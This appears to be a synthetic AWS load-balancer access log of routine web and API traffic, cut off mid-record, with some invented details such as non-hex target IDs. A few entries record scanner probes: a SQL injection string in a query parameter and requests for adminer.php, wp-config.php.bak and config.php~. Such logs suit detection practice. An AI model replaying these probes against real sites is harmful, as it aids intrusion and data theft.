2024-11-01T00:24:26.117222Z prod-web-alb 193.27.228.87:16839 10.0.210.251:443 0.051800 0.361116 0.088782 302 302 475 4159 "GET /config.php~ HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd4a-674c1ba96fa546729a9ae9de" "-" "-" 6 2024-11-01T00:24:26.117222Z "forward" "-" "-" "10.0.210.251:443" "302" "-" "-" -https 2024-11-01T00:24:28.115506Z prod-web-alb 123.19.173.173:11683 10.0.3.161:443 0.021035 0.222044 0.059394 200 200 221 12132 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd4c-461a3026994f4e048642ecb0" "prod-web-alb.example.com" "-" 10 2024-11-01T00:24:28.115506Z "forward" "-" "-" "10.0.3.161:443" "200" "-" "-" -https 2024-11-01T00:24:28.564460Z prod-api-alb 55.139.118.150:29955 10.0.104.187:443 0.083462 0.179420 0.088805 200 200 310 3741 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd4c-7b1a40a2794d44649857a6f1" "prod-api-alb.example.com" "-" 3 2024-11-01T00:24:28.564460Z "forward" "-" "-" "10.0.104.187:443" "200" "-" "-" -http 2024-11-01T00:24:29.395298Z staging-alb 227.127.155.202:21618 96.22.49.221:80 0.083030 0.087302 0.019703 301 301 548 8710 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd4d-1de5e4b25ca14d1388ce1ebb" "staging-alb.example.com" "-" 5 2024-11-01T00:24:29.395298Z "forward" "-" "-" "96.22.49.221:80" "301" "-" "-" -https 2024-11-01T00:24:29.934284Z prod-api-alb 212.103.85.82:53916 10.0.59.201:443 0.037123 0.483022 0.055083 301 301 595 12599 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd4d-b3fcef9371c642c5994fc7ec" "prod-api-alb.example.com" "-" 10 2024-11-01T00:24:29.934284Z "forward" "-" "-" "10.0.59.201:443" "301" "-" "-" -https 2024-11-01T00:24:31.012250Z prod-web-alb 42.80.175.143:60984 10.0.80.21:443 0.013692 0.427753 0.002628 404 404 988 8551 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd4f-940fda3ce36a4f7aa916fd62" "prod-web-alb.example.com" "-" 5 2024-11-01T00:24:31.012250Z "forward" "-" "-" "10.0.80.21:443" "404" "-" "-" -https 2024-11-01T00:24:31.349841Z prod-web-alb 241.126.162.72:10429 10.0.216.216:443 0.012570 0.445865 0.099781 302 302 226 10014 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd4f-ac976a39bcfd4437ab89d96f" "prod-web-alb.example.com" "-" 3 2024-11-01T00:24:31.349841Z "forward" "-" "-" "10.0.216.216:443" "302" "-" "-" -https 2024-11-01T00:24:32.240231Z prod-api-alb 188.211.222.128:14583 10.0.211.14:443 0.093988 0.140746 0.096953 200 200 588 9525 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd50-23c4cd0781734a1dbe1e9ab1" "prod-api-alb.example.com" "-" 3 2024-11-01T00:24:32.240231Z "forward" "-" "-" "10.0.211.14:443" "200" "-" "-" -https 2024-11-01T00:24:32.879552Z prod-web-alb 34.7.26.207:44120 10.0.33.174:443 0.094828 0.316489 0.084016 301 301 522 13223 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd50-9a08f0fb16d3425cba4d06d5" "prod-web-alb.example.com" "-" 9 2024-11-01T00:24:32.879552Z "forward" "-" "-" "10.0.33.174:443" "301" "-" "-" -https 2024-11-01T00:24:33.669407Z prod-api-alb 133.164.176.243:44223 10.0.198.111:443 0.091357 0.485385 0.042217 404 404 174 447 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd51-1089026794554f6c84ad946b" "-" "-" 3 2024-11-01T00:24:33.669407Z "forward" "-" "-" "10.0.198.111:443" "404" "-" "-" -http 2024-11-01T00:24:35.286956Z staging-alb 116.104.76.184:17647 194.141.74.241:443 0.031779 0.702465 0.088926 301 301 417 4805 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd53-0de88f256aa44bbd9406a3e9" "staging-alb.example.com" "-" 8 2024-11-01T00:24:35.286956Z "forward" "-" "-" "194.141.74.241:443" "301" "-" "-" -https 2024-11-01T00:24:36.930126Z staging-alb 181.240.243.35:44898 200.98.176.21:80 0.009026 0.546304 0.024057 200 200 308 5958 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd54-144bedd06738460faf470fc5" "staging-alb.example.com" "-" 8 2024-11-01T00:24:36.930126Z "forward" "-" "-" "200.98.176.21:80" "200" "-" "-" -https 2024-11-01T00:24:37.041790Z prod-api-alb 54.65.174.228:38260 10.0.121.73:443 0.029332 0.141997 0.085173 200 200 587 8302 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd55-bf811543da7245e99d597262" "prod-api-alb.example.com" "-" 8 2024-11-01T00:24:37.041790Z "forward" "-" "-" "10.0.121.73:443" "200" "-" "-" -https 2024-11-01T00:24:37.847230Z prod-api-alb 69.154.207.214:14489 10.0.248.183:443 0.046075 0.443716 0.011566 200 200 93 9673 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd55-03febb9273f84b9b914f0d99" "prod-api-alb.example.com" "-" 8 2024-11-01T00:24:37.847230Z "forward" "-" "-" "10.0.248.183:443" "200" "-" "-" -https 2024-11-01T00:24:39.396167Z prod-api-alb 20.255.90.225:38781 10.0.151.167:443 0.046591 0.319747 0.090946 200 200 711 11992 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd57-fe9ae18f49fa408a87b8384c" "prod-api-alb.example.com" "-" 5 2024-11-01T00:24:39.396167Z "forward" "-" "-" "10.0.151.167:443" "200" "-" "-" -https 2024-11-01T00:24:40.036695Z prod-api-alb 78.80.68.149:29920 10.0.227.49:443 0.004134 0.326967 0.077572 200 200 98 2112 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd58-3fbe9a3eb4184b9aa0d89625" "prod-api-alb.example.com" "-" 8 2024-11-01T00:24:40.036695Z "forward" "-" "-" "10.0.227.49:443" "200" "-" "-" -https 2024-11-01T00:24:41.194663Z staging-alb 26.253.232.51:39555 35.127.70.242:8080 0.119087 0.318510 0.046529 200 200 29 4411 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd59-71460f38e51d47cca2c5e47d" "staging-alb.example.com" "-" 4 2024-11-01T00:24:41.194663Z "forward" "-" "-" "35.127.70.242:8080" "200" "-" "-" -https 2024-11-01T00:24:41.515778Z prod-api-alb 221.192.207.136:56176 10.0.245.233:443 0.071206 0.249152 0.011921 200 200 290 4371 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd59-ec93959d41814e9db9ed4709" "prod-api-alb.example.com" "-" 0 2024-11-01T00:24:41.515778Z "forward" "-" "-" "10.0.245.233:443" "200" "-" "-" -https 2024-11-01T00:24:42.481762Z prod-web-alb 185.181.183.244:18287 10.0.157.186:443 0.062152 0.210633 0.079324 200 200 370 784 "GET /api/products?category=1' OR '1'='1 HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd5a-9b8b4ef1a26a46158ffb69c8" "-" "-" 0 2024-11-01T00:24:42.481762Z "forward" "-" "-" "10.0.157.186:443" "200" "-" "-" -https 2024-11-01T00:24:43.399125Z prod-web-alb 110.22.116.143:24409 10.0.18.191:443 0.039463 0.414434 0.067437 200 200 564 8073 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd5b-35ece151281e453cbcf3fe35" "prod-web-alb.example.com" "-" 0 2024-11-01T00:24:43.399125Z "forward" "-" "-" "10.0.18.191:443" "200" "-" "-" -https 2024-11-01T00:24:44.988136Z prod-api-alb 95.195.233.110:55688 10.0.241.253:443 0.041458 0.157977 0.085987 302 302 371 13073 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd5c-9b0a5f34a694402ca9480124" "prod-api-alb.example.com" "-" 6 2024-11-01T00:24:44.988136Z "forward" "-" "-" "10.0.241.253:443" "302" "-" "-" -https 2024-11-01T00:24:45.919769Z prod-web-alb 254.120.40.109:35707 10.0.251.33:443 0.048260 0.417909 0.045398 302 302 10 9478 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd5d-e6293744944d443e89cad325" "prod-web-alb.example.com" "-" 7 2024-11-01T00:24:45.919769Z "forward" "-" "-" "10.0.251.33:443" "302" "-" "-" -https 2024-11-01T00:24:47.453033Z prod-web-alb 187.109.134.5:22738 10.0.82.18:443 0.074243 0.435816 0.037626 301 301 290 9945 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd5f-281abc6211f14baba3ef7773" "prod-web-alb.example.com" "-" 3 2024-11-01T00:24:47.453033Z "forward" "-" "-" "10.0.82.18:443" "301" "-" "-" -https 2024-11-01T00:24:48.339609Z prod-web-alb 162.198.94.170:40767 10.0.250.78:443 0.017583 0.076963 0.014095 301 301 318 12268 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd60-e4677fbee0cd4cc0b846020a" "prod-web-alb.example.com" "-" 6 2024-11-01T00:24:48.339609Z "forward" "-" "-" "10.0.250.78:443" "301" "-" "-" -https 2024-11-01T00:24:49.734052Z staging-alb 160.40.21.15:12713 118.194.110.43:443 0.038740 0.578295 0.025385 200 200 686 12769 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd61-bc2ab910cc81447b9b80cc0b" "staging-alb.example.com" "-" 4 2024-11-01T00:24:49.734052Z "forward" "-" "-" "118.194.110.43:443" "200" "-" "-" -https 2024-11-01T00:24:50.673142Z prod-web-alb 201.19.53.99:40944 10.0.14.210:443 0.057738 0.194566 0.032900 301 301 311 959 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd62-91d8bbe663f544e79f18bfff" "prod-web-alb.example.com" "-" 2 2024-11-01T00:24:50.673142Z "forward" "-" "-" "10.0.14.210:443" "301" "-" "-" -https 2024-11-01T00:24:52.229762Z prod-api-alb 161.238.218.238:32260 10.0.98.57:443 0.013166 0.044633 0.066511 302 302 33 615 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd64-e7567afda0214aa39161a07f" "prod-api-alb.example.com" "-" 0 2024-11-01T00:24:52.229762Z "forward" "-" "-" "10.0.98.57:443" "302" "-" "-" -https 2024-11-01T00:24:53.500539Z prod-api-alb 172.6.182.249:46289 10.0.116.119:443 0.001251 0.345479 0.062059 301 301 832 9748 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd65-67e35e0bacb14d5aa3da2fce" "prod-api-alb.example.com" "-" 10 2024-11-01T00:24:53.500539Z "forward" "-" "-" "10.0.116.119:443" "301" "-" "-" -https 2024-11-01T00:24:54.760832Z prod-web-alb 70.216.134.157:36315 10.0.11.69:443 0.010677 0.009323 0.013847 200 200 687 4714 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd66-7bec86a8a8e5437fa140240c" "prod-web-alb.example.com" "-" 10 2024-11-01T00:24:54.760832Z "forward" "-" "-" "10.0.11.69:443" "200" "-" "-" -https 2024-11-01T00:24:55.998495Z prod-web-alb 7.122.236.120:61339 10.0.178.75:443 0.025922 0.394990 0.044162 200 200 836 8190 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd67-48d0789bade243a3b067c922" "prod-web-alb.example.com" "-" 2 2024-11-01T00:24:55.998495Z "forward" "-" "-" "10.0.178.75:443" "200" "-" "-" -https 2024-11-01T00:24:56.640462Z prod-api-alb 185.181.73.18:21753 10.0.196.98:443 0.060017 0.305146 0.026533 401 401 354 7577 "POST /adminer.php HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd68-374e255e35d74aad81368a1e" "-" "-" 5 2024-11-01T00:24:56.640462Z "forward" "-" "-" "10.0.196.98:443" "401" "-" "-" -https 2024-11-01T00:24:57.502782Z prod-web-alb 185.181.55.98:59674 10.0.135.41:443 0.076227 0.365475 0.053871 301 301 98 1248 "POST /wp-config.php.bak HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd69-adced114cf7f4941884a0a30" "-" "-" 8 2024-11-01T00:24:57.502782Z "forward" "-" "-" "10.0.135.41:443" "301" "-" "-" -http 2024-11-01T00:24:58.270585Z staging-alb 254.224.186.196:24786 243.213.12.195:443 0.058324 0.195756 0.131415 302 302 301 12549 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd6a-6e35c40a606d4072a9ca29e7" "staging-alb.example.com" "-" 2 2024-11-01T00:24:58.270585Z "forward" "-" "-" "243.213.12.195:443" "302" "-" "-" -http 2024-11-01T00:24:59.536312Z staging-alb 148.124.202.164:17944 188.55.122.198:8080 0.103270 0.571955 0.043486 200 200 639 14305 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd6b-b6970c4080144f24b086d8e2" "staging-alb.example.com" "-" 2 2024-11-01T00:24:59.536312Z "forward" "-" "-" "188.55.122.198:8080" "200" "-" "-" -https 2024-11-01T00:25:00.459808Z staging-alb 80.161.22.72:59069 66.39.204.26:443 0.067463 0.037080 0.103692 302 302 654 8468 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd6c-14d85221074d4ed29a979f78" "staging-alb.example.com" "-" 9 2024-11-01T00:25:00.459808Z "forward" "-" "-" "66.39.204.26:443" "302" "-" "-" -https 2024-11-01T00:25:01.114976Z prod-api-alb 201.225.0.177:40846 10.0.70.133:443 0.055842 0.210086 0.067128 302 302 81 6922 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd6d-d24928fa99d5423fb057e833" "prod-api-alb.example.com" "-" 3 2024-11-01T00:25:01.114976Z "forward" "-" "-" "10.0.70.133:443" "302" "-" "-" -https 2024-11-01T00:25:02.503284Z prod-web-alb 216.80.253.54:25941 10.0.197.97:443 0.085775 0.424599 0.014764 200 200 825 7060 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd6e-c961b51497c5483a838505e8" "prod-web-alb.example.com" "-" 5 2024-11-01T00:25:02.503284Z "forward" "-" "-" "10.0.197.97:443" "200" "-" "-" -https 2024-11-01T00:25:04.195197Z prod-web-alb 238.6.111.104:16341 10.0.142.162:443 0.004121 0.222105 0.058232 200 200 944 11791 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd70-8c6c2f8bef5742c68d71dcd3" "prod-web-alb.example.com" "-" 4 2024-11-01T00:25:04.195197Z "forward" "-" "-" "10.0.142.162:443" "200" "-" "-" -https 2024-11-01T00:25:05.246028Z prod-api-alb 176.197.104.156:59300 10.0.126.205:443 0.052361 0.151845 0.016452 302 302 353 12908 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd71-820b3d85390a4b18b554582f" "prod-api-alb.example.com" "-" 9 2024-11-01T00:25:05.246028Z "forward" "-" "-" "10.0.126.205:443" "302" "-" "-" -https 2024-11-01T00:25:06.821339Z prod-api-alb 189.237.174.68:63050 10.0.234.24:443 0.086108 0.478637 0.051671 302 302 183 8443 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd72-eaa8fb2afc2d4c88ac24ee8e" "prod-api-alb.example.com" "-" 4 2024-11-01T00:25:06.821339Z "forward" "-" "-" "10.0.234.24:443" "302" "-" "-" -https 2024-11-01T00:25:07.391052Z prod-api-alb 28.123.54.32:58018 10.0.215.54:443 0.008602 0.132367 0.029118 301 301 515 11245 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd73-401482289d9542e9a6f17798" "prod-api-alb.example.com" "-" 6 2024-11-01T00:25:07.391052Z "forward" "-" "-" "10.0.215.54:443" "301" "-" "-" -https 2024-11-01T00:25:09.009133Z prod-web-alb 192.250.0.156:12212 10.0.153.128:443 0.019214 0.315557 0.099933 200 200 675 9599 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd75-24dee4bcf66944efb45682db" "prod-web-alb.example.com" "-" 9 2024-11-01T00:25:09.009133Z "forward" "-" "-" "10.0.153.128:443" "200" "-" "-" -http 2024-11-01T00:25:09.632546Z staging-alb 250.81.53.250:16087 143.89.106.112:443 0.093031 0.604936 0.004379 200 200 889 10543 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd75-c8240d98724547c0a881316a" "staging-alb.example.com" "-" 7 2024-11-01T00:25:09.632546Z "forward" "-" "-" "143.89.106.112:443" "200" "-" "-" -https 2024-11-01T00:25:11.221767Z prod-api-alb 221.2.48.48:29548 10.0.112.70:443 0.089518 0.267121 0.065620 301 301 807 12175 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd77-564ce10da54945c09db6d5b0" "prod-api-alb.example.com" "-" 2 2024-11-01T00:25:11.221767Z "forward" "-" "-" "10.0.112.70:443" "301" "-" "-" -http 2024-11-01T00:25:12.175305Z staging-alb 81.70.34.8:26316 251.64.15.95:443 0.048968 0.258592 0.131039 200 200 302 5723 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd78-e136746daac544a6a07bc6f3" "staging-alb.example.com" "-" 9 2024-11-01T00:25:12.175305Z "forward" "-" "-" "251.64.15.95:443" "200" "-" "-" -https 2024-11-01T00:25:13.735188Z prod-api-alb 87.18.165.159:50989 10.0.148.197:443 0.024825 0.306210 0.077767 200 200 822 12678 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd79-1c18be6430a84c63b8c1545b" "prod-api-alb.example.com" "-" 4 2024-11-01T00:25:13.735188Z "forward" "-" "-" "10.0.148.197:443" "200" "-" "-" -https 2024-11-01T00:25:14.455433Z prod-web-alb 126.235.176.94:50185 10.0.54.74:443 0.062946 0.339191 0.044211 200 200 112 1857 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd7a-e011e1a33d514376a9b41c23" "prod-web-alb.example.com" "-" 9 2024-11-01T00:25:14.455433Z "forward" "-" "-" "10.0.54.74:443" "200" "-" "-" -https 2024-11-01T00:25:15.921583Z prod-api-alb 141.175.241.15:35796 10.0.179.150:443 0.001969 0.378798 0.084237 200 200 355 1279 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd7b-c5a46c6077484bbc8b97d4d8" 